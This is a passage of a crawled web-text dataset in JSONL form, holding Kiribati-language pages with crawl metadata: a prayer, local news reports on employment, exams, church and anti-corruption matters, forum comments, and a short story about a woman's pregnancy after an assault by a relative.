1.0000100135803223}","num_words":271,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE AKI MAM'ATAM\nTe nebonebo Nakoim, te Uea ae Atuau! I Bubutiiko ma te kainnano bwa n te Kaotioti aio are mai iai e a tia te rotongitong n onikaki nakon te oota, are mai iai e a tia ni kateaki Tembora ae Kakaawaki, ao e a tia ni kaotaki te Baba ni Koroboki ae e a tia ni Koreaki, ao rabunan te Niira-ni-Boki ae Tangaina e a tia ni kanakoaki, bwa Ko na karuoa nako aou ao nako aoia naake raraou ngkai te bwai are ti na konaa iai ni kiba rakea karawan Am mimitong ae e riao, ao are e na tebokiira man memean aekan nanououa ake a tia n tutukiia naake a namakina te ribuaka man te rin i nanon umanriannan Am katitueuana.\nAu Uea, Ngai teuare e a tia ni kamatoa n taua koran Am tangira-n-aakoi, ao n nimta rabin Am ataata-iaomata ao Am bwai n aakoi. Ko kataua i bukiu ao i bukiia naake a tangiraki irou raoiroin te aonaaba aio ao te aonaaba ae e na roko. Kaonoiia, ngkanne, n te Bwai n Tangira ae e Raba are Ko a tia ni baaireia iai naake a rineaki mai buakoiia ake Ko karikiia.\nAu Uea, aikai taian bong ake Ko a tia iai n tuangiia Am tabonibai bwa a na taua te aki mamatam. E a karaoiroaki teuare e taua te aki mamatam ti i Bukim ao ma kororaoin te raurenako man bwaai ni kabane ma tiaki Mairoum. Au Uea, buokai ao buokiia n ongeaaba Iroum ao ni kaawakin Am tua ni kairiiri. Ni koaua iai Iroum te mwaaka ni karaoa are Ko rineia.\nBon akea te Atua bwa tii Ngkoe, te Kabanea n Ataibwai, te Kabanea ni Wanawana. A bane nebonebo nakon te Atua ae te Uea n aonaaba ni kabane.\n\n\nTe Auti << Ae Rimoa Ae Kan Riki >> Te Ao","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.bahaiprayers.org\/kiribati\/6.htm","date":"2017-11-21T21:09:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806426.72\/warc\/CC-MAIN-20171121204652-20171121224652-00697.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":306,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By Ataniman Tamuera.\nE a tia te bong aei are ana bong te Botaki ni Botanaomata ni bukamarua aia bong kaain te Aonnaba 114 mwaitia aio ni kabane ma te iango are aba ake iai inanon aia waakin tautaeka te kantaninga are aine ao mwane a ria ni kabotauaki aron aia mwakuri ae ti te arona n teia ni kabane ao e noraki imwin taian ukeuke bwa a birimwaka aba riki akanne nakoia aba ake irarikia ake akea irouia aio.\nE ribotinaki bwa teuana katenimwakoron mwaitin ae ataia aine ni boong aikai ae angiin mwkauri ni kakeru boni ma irouia raraoia ao taian mwkauri n ioawa aikai angiia a bon aki kona n ribotinaki bwa iai taian kangabuaka iai n aron ae e aki ataaki bukiana.\nE bon ngae n anne ao 21.8% maitia ngkai te kaintekateka ae a karibwai inanon auti n tei aine ao man 11.3%n 1998 ni waerake ao ae tabe ni birirake te ware ae 30% are e a bon noraki naba iai te kananokawaki iaan ae bon noraki bwa ena riai ni biribrake riki. Are nanona bwa aine a riai riki ni mwaiti nakoia mwane ma ibukina bwa akea te katiteuanaki ke te gender equality agenda ao ai ngaia aio bukin mamara ake a kona n noraki bwa taian tutuki nakoia ara aine.\nE ngae n anne ao iai 5 oin iango ibukia aine bwa ana birirake n aroia naba mwane bwa teuana ana riai ni kairiiri ao a riai naba n ira buakon ni kabane, kakean te mwakuri n tangako nakoia aine ao ataei. Kamwakuraia aine nakon tararuan te rau ae teimatoa iaan te tua ao bon karikirakeaia aine I bon irouia ni karaka oin kaubaia man korakoraia ao ai katitaboan te kainibaire ibukin te tatabui.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/25\/ana-bukamaru-un-i-kiribati\/","date":"2017-11-23T09:16:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00674.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":287,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nTE TAUA-N-TANTANI\nTi roko mani katei ao taetae aika kakaokoro aika bubua ma bubua mwaitiia, ma e ngae n anne ti bane ni katiteuanaaki n tiia aika ti uaiakin. Ae kakawaki riki, ti karinea Iehova, ae te Atua ae taekinaki n te Baibara ao te tia Kariki bwaai ni kabane. Ti kabanea ara konaa ni kakairi iroun Iesu Kristo ao ti kakatonga ngkai ti aranaki bwa Kristian. Ti kabanea ara tai ngaira n tatabemanira nako, ni buokiia aomata n reiakina taekan te Baibara ao Ana Tautaeka n Uea te Atua. Kioina ngkai taani kakoaua ngaira, ke taan tataekina taekan Iehova ae te Atua ma ana Tautaeka n Uea, ti a kinaaki n arara ae Ana Tia Kakoaua Iehova.\nNeweabaa ara atureti n te Intanete aei. Wareka te Baibara n te Intanete. Ao karekea riki kinaakira ao ataakin ara koaua.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.jw.org\/gil\/","date":"2017-11-25T12:04:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934809778.95\/warc\/CC-MAIN-20171125105437-20171125125437-00234.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":152,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nE a waakinako ngkai te kaitiaki ao mwakurian aontano n ana tabo LDS I Bwangantebure.\nE retinako mwakurian aontano n ana tabo LDS are I Bwangantebure imwin te katabwena are e karaoaki n te namwakaina ae nako.\nN te tai aio ao e aki tii itiaki ma a kaboraoaaki ao man karokoaki tanona ibukin wakinaki mwakurian kateitei aikai inanon boong rake aikai.\nMan ana taeka ni kaukuki ngkoa Beretitenti Banririe Nenebati ni moan uruakan aontano n te namwakaina ae nako ao e taekinna bwa n tian te Stake tienta aio ao e na kona n reke aia tai ataein te roronrikirake n te kaawa aio n rin ao ni kabongana te courts irarikia naba roroia n te Ekaretia aei.\nIai te katautau bwa e na kona n tia mwakurian te kateitei n te Stake aio nakon te ririki ae na roko 2018.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/e-waakinako-te-kateitei-n-ana-tabo-lds-i-abarao\/","date":"2017-11-23T09:23:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00262.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":144,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ao bon ane raoi te koaua tia maga uringa ara sunday school i tabiang ke,eang Maio ngkai are emena itinaniku e kaimoa(seaman).ao ngkai e taku ba aia kaibuke e tiku i korea ngkai,iongo irouna ngke i chat ma gaia koananoa...Maio ba etekena teaba e karaua raraunia te aonaba hahahaha\nAo ngkoe koa tia ni iein ngkai ??? iongo iroun Moterea ba ko kakaki aine ke,ko iein ma temanna ao koa maga kaaki ssshh teba naba iroum ke hahaha..\nTau takeraoi te waki ma ikane koa maga reitia ngkana iai ma iroum kaga ko kau rogo2 hahaha..\nMoce!\nno ai ngkam iaki ataia ba antai ae koaua ma iroumi ngkoe ke moterea hahahaha ao ngkoe eag e raraba te website aio ngkai ea maga reke te kaitibo iai ker..\neag ngai ngkai i mena i NZ ao ai 4 tabun ao ririki ikai,sshh iakan mate te tabo aio ba enag kamaitorotoro aona,yo kaga akea moa ao rogo2 ma ikai ti te aine ae enag rawata ma tiakabi rora iai hahahaha ao eag koa maga reitia ma ikane ngkana iai ke","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/banabanvoice.ning.com\/profile\/EmiouKonenerio","date":"2017-11-19T06:36:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805417.47\/warc\/CC-MAIN-20171119061756-20171119081756-00677.warc.gz","language":"gil","language_score":0.9998117089,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 0.9998117089271545}","num_words":177,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.237,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Isa e raba naba te reitaki...actually his name is Mafi but dont u worry I will pass him your love and also your email add....his is email@example.com.... his away at the moment in vanualevu for two weeks...\ndaddy sorry aeaki moa reke ami bai aika kamtangiri couze buun nei Tioua etuai noki ao ngai ituai nimakuri sori riki. dad nora tamei tibumi nau page, dad call 3361938 if not email back couse every day tibon email. regard to mummy n my 2 brother's Manikaoti n Abe n U Dad. Mai iroia natim ao tibum ae nei Esther Batia\nMauri nte ririki ae boou aei..kam uara ??? e raba te Uea tia maga ooia naba te ririki ae boou aei...ngkai kobon mena naba i kiribati???? koa maga reitia ma ikanne gkana kobon mawa..\ntekeraoi ngkami te makuri nte ririki aei boou aei...moce!\nMauri sshh koangan naba saunaina au kamauri[buum] koataia inang kukurei ngkai iongo banami bwa ti tabo ia manga uringia au koraki i rabi ao iuringa ara rororikirake [C,A] ssshhh e koaua ena neboaki te Uea...ai maiara naba te tai aei ke?? akea rongorongon ikai naba bwa ti te maitoro ae korakora ma ti tekeraoi teutana ngkai ba ea manga summer....sshh ti uringa te onauti ngkai kam mena ikane hahahah ao ngkoe e kamaiu te tabo anne n teika ma ti kaebuna te kabuebue ke..\nkoa manga reitia ma ikane ni mawan am tai\nPraise the Lord. E koaua e raba naba te uea kai ea manga reke te tai n reitaki iaon te internet. I kaitaua am taeka n reirei bwa e reke bwa kakorakoran au onimaki.\nE raba te uea nte marurung ao te korakora ae ea tia n anganira nte bong teuana ma teuana.\nPastor ai mai ia naba te tai aei ngkai tia manga kona naba n reitaki man taabo aika raroa. Ti tabo tia manga bon taetae iaon Rabi.\nEuara rongorongon ami tabo anne? Ko mena ia ngkai?","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/banabanvoice.ning.com\/profile\/IeutiRukio","date":"2017-11-19T06:46:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805417.47\/warc\/CC-MAIN-20171119061756-20171119081756-00614.warc.gz","language":"gil","language_score":0.9998083711,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 0.9998083710670471}","num_words":320,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nNimaua kambwana ni kini uanikai ao Outero ake a mwakuri iai kaain Kiribati.\nIai ngkai nimaua mwaitia kambwana itinaniku ake e waaki ma ngaia te labor ibukin kamwakurakia kaain Kiribati n te ririki aio 2017.\nN ana maroro HE Beretitenti Taneti Maamau ma taan kareke rongorongo n tokin te namwakaina ae nako ao e kaeka ana titiraki temanna man te Uekera iaon aei bwa iai nimaua mwaiitia kambwana ma I Nutiran ao Aotiteria are e waaki ngkai te tautaeka ma kambwana aikai iaon te seasonal workers ke te kiniuanikai, ao kamwakuraia ara botanaomata naba n taian auti n irua ke hotels.\nE reitia riki n taekinna HE Taneti Maamau bwa kambwana aikai bon te Recognise Seasonal Employment scheme (NZ), Seasonal worker programme (AUST), New and Northern Australian Worker Pilot Programme (AUST), Hayman Resort (AUST) ao ai Hamilton hotels (AUST). E kaeka aio te Beretitenti n ana marooro bwa iai ngkai te kerake ni mwaitia kaain Kiribati ake a maewe ni mwakuri I aban tinaniku. N 2016 ao atia kaain Kiribati ni mwakuri ni kambwana aikai n te mwaiti ae 215 ma e korakora keraken te ware aei n 2017 bwa e nakon 439 botaia ni kabane.\nE kamatata naba HE Beretitenti Taneti Maamau bwa te tautaeka e aki mamatu ni kakaea angan reken te kabwaia nakoia ana botanaomata bwa mwakurian ao kakoroan ana kanoa ni mii iaon te KV20, n te tai aio ao iai riki aua aba itinanikun Kiribati ake e taketeni ngkai te tautaeka n aron aba aika irarikira aikai; Matiare, Palau, FSM ao ai te Cook island ibukin tebonakin te bwaeao. Iai naba 10 neeti ma I Kiribati ake ana kamwakuraki I Tuvalu, e kamatoa aio Beretitenti Taneti Maamau.\nE kamatoa HE Beretitenti Taneti Maamau bwa e a moanna ngkai n tamaroa wakinan te reitaki ma kambwana I aban nako tinaniku.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/24\/nimaua-kambwana-ni-kini-uanikai-ao-outero-ake-a-mwakuri-iai-kaain-kiribati\/","date":"2017-11-23T09:19:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00041.warc.gz","language":"gil","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000078678131104}","num_words":301,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nAm karaki ae boou.\nTe Nati ni boiarara-e koreaki ao man warekaki iroun Iareto Kabunare.\nTE NATI NI BOIARARA\n(E oteaki man koreaki iroun Iaareto Kabunare)\nKo na mauri Nei Tinika!\nOh Ko na mauri naba Teniteka.\nKo na nakea n te ingabong aei?\nN na kaea te waa are na nako Riboono.\nAo tera ae na karaoaki ikekei?\nTain bwaraeakin mwaneabaia ae tibwa tia n te wiiki ae nako.\nNao, I kona ni iriko?\nEng, ko bon kariaiakaki ni irai? Ao ngkana a un am karo?\nTe katoki bwa te un akea ae tabe irouia a bon aoria ni kawangaia ni un.\nAo tooka bwa e nangi nako te waa.\nNao ai bon te baurua te waa aio.\nEng are kaira kabaakina teuare te I-Matang are kaain New Zealand\nAntai ngkoa arana?\nMr Jim Siers.\nE na kataia ni borau nako New Zealand ma kaain Kiribati tabeman aika a rabakau n te borau. I ataa temanna ae kain Abemama bwa teuare Ten Tau, ao temanna ae kaain Abaiang ae arana Bwebwenteata ae buuna Nei Atuata ae kaain Arorae.\nNao ko rang ataibwai.\nNoria, I aki ataibwai, ma I bon mena ikekei ngke e moan kabaaki waaia ae arana te TARATAI.\nI bon tuai rangi ni ikawai ngke e moanaki kabaakin te waa anne bwa ai tibwa 10 au ririki. Ko ataia naba ae a na kataia ni borau n nako ngkana e tia ni bukamaruaki ana bong Kiribati ae kakanato are moan inaomatana mai aan ana tautaeka Buritan?\nBwa e nang karaoaki anne?\nEng, e na karaoaki n 12 July 1979.\nKanga e kamimi anne.\nEng ao e nang waaki te kakukurei ae moan te bati bwa are ai tibwa te moantai n riki aio nakon abara ae Kiribati.\nE koaua anne. Ti na roko ningai i Abaiang?\nTi na roko ikekei i Riboono n te bwakantaai.\nNeiko, ko na bon tiku irou bwa akea riki am tabo ae ko na nako iai.\nE rawa n riki bwa kabuakakau ae ko irai ao ngai I a kaaki naba taekam.\nBwa nanona ngkai I iriko I riki bwa am irua?\nNgaia anne.\nNao, ko aki oota n au iango ae I kan iriko iai bwa are ko bon aki titirakinai moa bukin kan irakim irou.\nAnaia neiko, ani kabwara au bure ngkana I kairua n te bwai ae I iangoia aio nakoim, ao kaongoai bukina.\nI birinako ma irouia au karo bwa bukina bwa I a taoman, ao e bon aki kukurei au karo n te aro ae riki irou aio.\nNgaia ko rabwa ma I a kairiko bwa kanga au kainrou ngkoe? E raoiroi anne iroum?\nKo rabwa n atongan anne iroum, ma I a bon nanoangaiko n am taeka ae am kainrou ngai.\nNoria neiko ko na tuangiia aomata bwa natim ane ko bikoukouia anne, bon natiu.\nKo rangi n rabwa n am tangira nakon natiu, ao I berita nakoim bwa N na karaoa ane ko taku ibukin natiu.\nAo I kan butiko bwa antai raoi oin taman natim aio, bwa I aki tangiria bwa ko na manga bita am iango ngkana ko un irou ke n aera riki.\nNgke e nang taetae neiei, ao a tuunako ranin matana.\nKo aera ngkai ko tang, e rawawata au taeka nakoim?\nE aki ma I bon mama ao I bon kananoanga naba iai ma natiu ae I tangiria.\nBwa tera bukina?\nI butiko bwa ngkana I kaotia ao ko na berita moa nakoiu bwa ko na bon aki tataekinna nakon temanna.\nI berita nakoim ao e ngae ngkana e karawawata taekana, I bon teimatoa naba n natinna. Taiaoka ma karakinna.\nN te tairiki teuana iaon Bikenibeu, (ngke a maroro a bon karaurau bwa a na aki ongo bwatintian te waa uowa). I a tibwa oki ni mwakuri mai Betio n te Radio Terminal are mena i Takoronga I bon ira te kabanea ni meeri are te aoa 9 pm mai Betio. I roko n aia auti au karo i Bikenibeu imwiin te 11 pm. I a bon kua ao I tangiria ni kan tebotebo man katauraoai nakon te matuu. I rin n te ruu n te auti, ao I anaa au taara. I a tia ni buuti oneau ni kabane ma I tii beenai n te taara, ao I nakon te roki bwa N nang tebotebo. I bon rang ni kuba bwa ngke I katiia te shower, ao e a bon karina naba n rin te mwaane ae I aki kina be rabuna moana ma atuna. N nang takarua, ao e kaina naba wiiu ni baina man orea batinawau. I aki ataa te bwai teuana ma I a namakina te aomata n toka iaou ao man karaoa ae aki riai nakoiu n akea au kariaia. I a kaure matau ao I a nooria bwa Ten Tirioa ae natin mwanen au karo. I bukina bwa e na aki karaoa te mwakuri riki teuana ae iowawa bwa tao e na tiringai, ao ngai I a bon aki kakamwakuri bwa I baka n taraa n tong. Ngke e bon tia man roko nanona n te bwai are karaoia, ao e a teirake man kanakoa rabunan ubuna, ao I a noria bwa bon ai mwaneu. I a bon keiaki n aki kakamwakuri man wene ni karokoa e a otinako. I boni kamanna n aki kamwakuri, ao ni kai namakinna bwa e a kitana te roki ke e tiku n tataninga. I a teirake man nakon te auti, ao a bon aki ataa te bwaai teuana au karo.\nI a rin nakon te ruu, ao I a bon taratara n aki matuu ni karokoa te ngaina. E a reke naba n au iango bwa N nang aki mwakuri ma N na kararoaai man mwengau, bwa e a bon taonai te maaku ao te mamaa.\nE riki aio imwin tenua namwakaina. I aki kan nakoia bureitiman, bwa bukina bwa I rawa ni kamamaeaki n te karikira ao moa ibukin natiu ae i birotou aio bwa ea kawa taekana ngkana e aranaki n te taeka ae kamamaa moa nakon te roro ae rikirake.\nNeiko, tai raraoma ma e na bon aranaki te ataei anne bwa natiu ao ngai ana karo.\nKo rarabwa.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/te-nati-ni-boiarara-am-karaki-ni-kakibotu\/","date":"2017-11-23T09:24:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00233.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1023,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nE waaki ni moaningabongin te bong aei te Kanimabong 20\/10 te ukeuke n te oral iaon te taetae n Imatang nakoia koraki tenua Form 3 iaon Kiribati ni kabuta.\nAtaekinna nakon KU uoman ataeinainen te JSS ao temanna ataeinainen SLHS bwa e a bane ngkai aia moan ukeuke iaon te Oral n te bong aio. Nakon te wiki ae na roko ao ai wikin ngkanne te ukeuke iaon te English, te Maths, Commerce, te Kiribati ao tabeua riki nakoia Form 3 man jss ao reirein Aro ake iai aia koraki 3.\nA taekinna riki ataeinaine aikai bwa inanon wikin aia ukeuke koraki 3 ao e a manga wakai ngkanne te koraki 5 ke Form 5 n te KNC ao ni waakinako naba ngkanne koraki 6 ke Form 6. A kawara Elmovie theatre n te bwkantaai aio bwa ana kamaraua aia iango ni motirawaia moa imwain ae nang manga korakai aia kaburoro nakon boong aika imwaia. Te tamnei iroun Elma are e bon kaotaki ni katoa te aoa 5pm ao 7.30pm bon teuana ma ibuakon aia kouru bwa te kakakibotu ao man kamaraua riki aia iango imwaain raoi te ukeuke ae tabangaki ae JSC.\nAngin te ukeuke a bon moanaki man te aoa 9am ao ni bane n te aoa 1200 ni katoa bongin te ukeuke. Te kauoua n itera ibukia kaain te bwakantaai a moanki ukeuke man te aoa 2pm ao n toki n te aoa 5pm ti ngkana iai te bbitaki ao ana manga bane ni kaongoaki imwain taia.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/20\/e-a-waaki-ngkai-te-ukeuke-ni-kabwaati-irouia-koraki-teniua\/","date":"2017-11-23T09:15:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00081.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":243,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BY Online editor.\n\"Go Forth to Serve in the Light of Christ\" ana Motto te reirei ae rietata ibukiia taan kata te nakoa ni minita n te Aro ni KUC are a karaoa aia anga beeba iai koraki ake e a bane aia tai ibukin te ririki aio are a tia ni kabanea aua aia ririki n reiakinaki aron te waaki ni minita.\nE raka iaon teningaun mwaitiia minita ake a tia n reke aia beeba n te Katenibong 16 n Nobwembwa n te ririki aio n ana tabo te reirei ni minitita I Tangintebu are e a moa kanoana man te bwakantaai ni karokoa ae moan tairiki.\nE karaoaki te mwaati imwiin tangin te buu man te maneaba ao e kairaki iroun te Mataniwi n te reirei aio, te iruwa ae rine ma buuna, kaain TAB,aobitia mai Antebuka ao taan reirei, ao te Dean e na kairiia taan tongaaki ake a bane aia tai n 2016.\nN te mwaati anne ao n rokoia iaan te tent ao a bane n teirake kaain aan te tent n anga te butimwaai nakoia e anaaki te kuna ae \"kain te aonnaba ni bane\" mai imwiin te anene anne ao e a manga nako kunan Kiribati.\nTe kaukuuki n te tataro mai roun Te tia koroboki ibukin Reirei ae Kibaunimatang Robuti ao e a taorimwiina naba te taeka ni butimwaai mai iroun te tia koroboki M'akuri ni minita ni butimwaaia ana irua ma aia utu taan tongaaki ake a roko ni kakoaua kanoan te bong aio.\nE taonaki mwiin ana marooroo n te anenen mai irouia taan tongaaki ma Buuia n te kuna ae kam na bane ni Mauri.\nMan te anene anne ao e anga naba ana ribooti te bonomwii ni mataniwi ae Tiia Manaima n ana ribooti ao e taekinna mwaitiia ataei ake a mena inanon te reirei aei ike e raka iaon uabubu mwaitiia ni ikotaki ma koraki ake anang tauraoi n wakina aia mwakuri n taabo aika akakaokoro ao n te tai ao bon akea ae e a tia n aki koro nanon ana waaki ke ni bua ana waaki ni moa man te moan ririki ni karokoa te tai aio.\nMan akanna ao e a katokaki aia bau irua aika a rine te minitita ae David Collins ma buuna ae Tiare Collins te motereita ae Reirei Kourabi ao Evire Kourabi mai imwiin katokakin aia bau nakai ao e anga ana taeka te irua ae rine David Collins n ngkai a bane ami tai ao iai te kantaninga iroumi bwa kam na waaki inanon te tangira ao te akoi ngkai kam na karaoi banna ni katoto nakoia ami tiibu ake ana tirobaai aroma inanon ami tai ni kairiiri.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/11\/17\/ana-anga-bebwa-kuc-nakoia-ana-minita-aika-a-boou\/","date":"2017-11-23T09:09:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00121.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":447,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By online editor.\nKaekaan ana rongorongo Boutokaan Te Koaua (BTK) n ana beeba ni kaongora Issue 33 ae bonginaki n 07\/02\/2017 ma taekana ae e kangai,\n\"Tera mwiin ana Riboti te Anti Corruption Committee ae noraki? Bon te a!a!a!a!akea\"\nE rangi ni kakawaki bwa e na kabaerantaki kaongoraean te botanaomata n te aro bwa e na kona ni karekea ootana n te rongorongo ae e tabwanin are mai iroun te tia kanakoa te rongorongo ao mai iroun naba te tia kaeka te rongorongo. Kaekaan te rongorongo ae ti na kanakoa n te tai aei bon man te Anti-Corruption Select Committee (ACSC) ke Ana Komete Te Maneaba ni Mauangatabu are e kateaki ibukin Rinanoan aia Mwakuri ni Kamangao ao n Aonikai Taan Kairiiri.\nAe e nanonaki n Taan Kairiiri bon te Beretitenti, Kauoman n Beretitenti, Minita n te Tautaeka, Taan Koroboki, Mataniwi n ana Mwaanga nako te Tautaeka (Directors), Manatia ao Mataniwiin ana Kambwana nako te Tautaeka ao ake iai mwiokoaia n te tibwanga ni kairiiri.\nAio te Komete ae e bon rang ni boou bwa ai bon tibwa te moan tai ni kateaki n ana Maneaba ni Maungatabu Kiribati ibukin anganakina tibwangana n aron ane e a tia ni katereaki.\nAikai ngkanne kaekaan ana rongorongo BTK:\n1. Kateakin te ACSC n aron ane e kamatoa BTK n aia beeba ni kaongora Issue 33 bwa a na kakaeaki rongorongoia Taan Kairiiri aika a tia ni karaoi waaki ni kamangao ao n aonikai nakon ana bwai te botanaomata. Aio bon te waaki ae e rangi ni boou n ana tai Tobwaan Kiribati Bwatei. Tiaki nanona bwa aio ana aanga n anai nanoia Taan Tei ngkoa ake a mena n ana bwatei Boutokaan Te Koaua (BTK) ma bon aio aron kakiraatan te waaki n Tautaeka ae e inaomata ae iai nanona ma ana kantaninga ibukin uaiakinan riki ae e tamaroa ao bon katokan naba mwakuri buaka irouia ake iai onimakinaia bwa Taan Kairiiri n ana Botaki ni Mwakuri nako te Tautaeka ma ana Kambwana. Aio are e moa mai iroun te Beretitenti, te Kauoman n Beretitenti, Minita, Taan Tei, Taan Koroboki, Mataniwiin ana Kambwana te Tautaeka (CEOs and Directors), Manatia ao ake iai mwiokoaia ao tibwangaia n te kairiiri.\nE bon rangi n boou aio bwa ai bon tibwa te moan tai aio ae e kateaki te Anti-Corruption Select Committee (ACSC).\n2. E aki kabane buaka te tai kaboakiia kaain te Komete aio ibukin aia mwengabuaka ao n tekatekaia ni bowi kioina bwa tangitang ake a rinanoi ao ni mwakuri iaona a roko mai iroun te botanaomata n te koroboki ma kabwarabwaraaia. E tamaroa riki kabanean ana mwane te botanaomata ni karaoan ukeran mwiia aika a kamangao nakon are e na akea te bwai ae e na karaoaki ao Taan Kairiiri ake a tia ni karaoi waaki ni kamangao ao n aonikai a na taku n aia koaua bwa a aki kona n riringaki ao n ukeraki mwiia.\nN 19\/9\/2016 ao e roko te ribooti ibukin rongorongon te mwakoro n aba i Abatao ae Takae, Plot 536a. E toki kanoan te boraraoi imarenan te Tautaeka ma te Tia Abaaba n te mwakoro ae Takae Plot 536a n 1\/5\/1989 ma e teimatoa n kabwabwakaaki riitina ni karokoa te ririki ae nako 2016 n aron ane e oti inano n te Taibora e ngae ngke ai bon akea kabonganakina ke mwakuriana iroun te Botaki n Ununiki. Taian ririki ao mwaitin bwakamwane akana a oti inano e kaota iai mwaitin ana mwane te botanaomata ae e a tia n bakataeaki n te aro ae e a bon rangi n kamimi ao ni kananokawaki:\nRiriki\nNambwan te aba\nMwaitin te eeka\nBoon teuana te eeka\nBoona n teuana te eeka\nIKOTAN BOONA AE BWANIN\n1995 – 1999\n536a\n29.68\n$100.00\n$2,968.00\n$14,840.00\n2000 – 2004\n536a\n29.68\n$355.00\n$10,536.40\n$52,682.00\n2005 – 2009\n536a\n29.68\n$523.50\n$15,537.48\n$77,687.40\n2010 – 2012\n536a\n29.68\n$692.25\n$20.545.98\n$61,637.94\n2013 – 